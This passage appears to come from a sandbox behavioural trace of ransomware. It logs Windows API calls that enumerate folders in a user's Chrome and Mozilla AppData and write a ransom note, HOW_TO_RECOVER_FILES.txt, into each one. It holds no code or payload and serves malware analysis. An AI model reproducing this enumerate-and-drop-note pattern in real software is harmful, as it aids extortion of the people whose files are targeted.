dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.304] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.304] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0209.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0209.304] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5a [0209.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0209.305] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\pepperflash\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0209.305] GetFileType (hFile=0x828) returned 0x1 [0209.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0209.306] GetFileType (hFile=0x828) returned 0x1 [0209.306] WriteFile (in: hFile=0x828, lpBuffer=0x3753d58*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x3753d58*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0209.307] CloseHandle (hObject=0x828) returned 1 [0209.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0209.308] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates", lpFilePart=0x0) returned 0x2d [0209.308] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.309] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.309] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="308046B0AF4A39CB", cAlternateFileName="308046~1")) returned 1 [0209.309] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="308046B0AF4A39CB", cAlternateFileName="308046~1")) returned 0 [0209.309] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0209.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0209.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0209.309] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates", lpFilePart=0x0) returned 0x2d [0209.309] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.309] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.310] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="308046B0AF4A39CB", cAlternateFileName="308046~1")) returned 1 [0209.310] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.310] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0209.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0209.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0209.310] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\308046B0AF4A39CB", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\308046B0AF4A39CB", lpFilePart=0x0) returned 0x3e [0209.310] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\308046B0AF4A39CB\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.311] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.311] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.311] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0209.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0209.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0209.312] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\308046B0AF4A39CB", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\308046B0AF4A39CB", lpFilePart=0x0) returned 0x3e [0209.312] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\308046B0AF4A39CB\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.312] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.312] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.312] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0209.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0209.312] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\308046B0AF4A39CB\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ed110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\308046B0AF4A39CB\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x57 [0209.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed630) returned 1 [0209.312] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\308046B0AF4A39CB\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\updates\\308046b0af4a39cb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0209.313] GetFileType (hFile=0x828) returned 0x1 [0209.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5a0) returned 1 [0209.313] GetFileType (hFile=0x828) returned 0x1 [0209.314] WriteFile (in: hFile=0x828, lpBuffer=0x3772fa0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ed6f8, lpOverlapped=0x0 | out: lpBuffer=0x3772fa0*, lpNumberOfBytesWritten=0x208ed6f8*=0x5d0, lpOverlapped=0x0) returned 1 [0209.314] CloseHandle (hObject=0x828) returned 1 [0209.315] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x46 [0209.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0209.315] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\updates\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0209.316] GetFileType (hFile=0x828) returned 0x1 [0209.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0209.316] GetFileType (hFile=0x828) returned 0x1 [0209.316] WriteFile (in: hFile=0x828, lpBuffer=0x3776898*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x3776898*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0209.317] CloseHandle (hObject=0x828) returned 1 [0209.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0209.430] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings", lpFilePart=0x0) returned 0x56 [0209.430] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xead47a83, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.431] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xead47a83, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.431] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeae4a779, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeae4a779, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 1 [0209.431] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeae4a779, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeae4a779, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 0 [0209.431] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0209.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0209.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0209.431] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings", lpFilePart=0x0) returned 0x56 [0209.431] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xead47a83, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.432] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xead47a83, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.432] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeae4a779, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeae4a779, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 1 [0209.432] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.432] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0209.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0209.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0209.432] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpFilePart=0x0) returned 0x77 [0209.432] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeae4a779, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeae4a779, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.437] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeae4a779, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeae4a779, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.437] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae4a779, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeae4a779, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeae4a779, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0209.437] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead4a1af, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead4a1af, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeadba66c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0209.437] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xead47a83, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0209.437] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf7cf3ec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0209.438] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xead4a1af, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1 [0209.438] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, 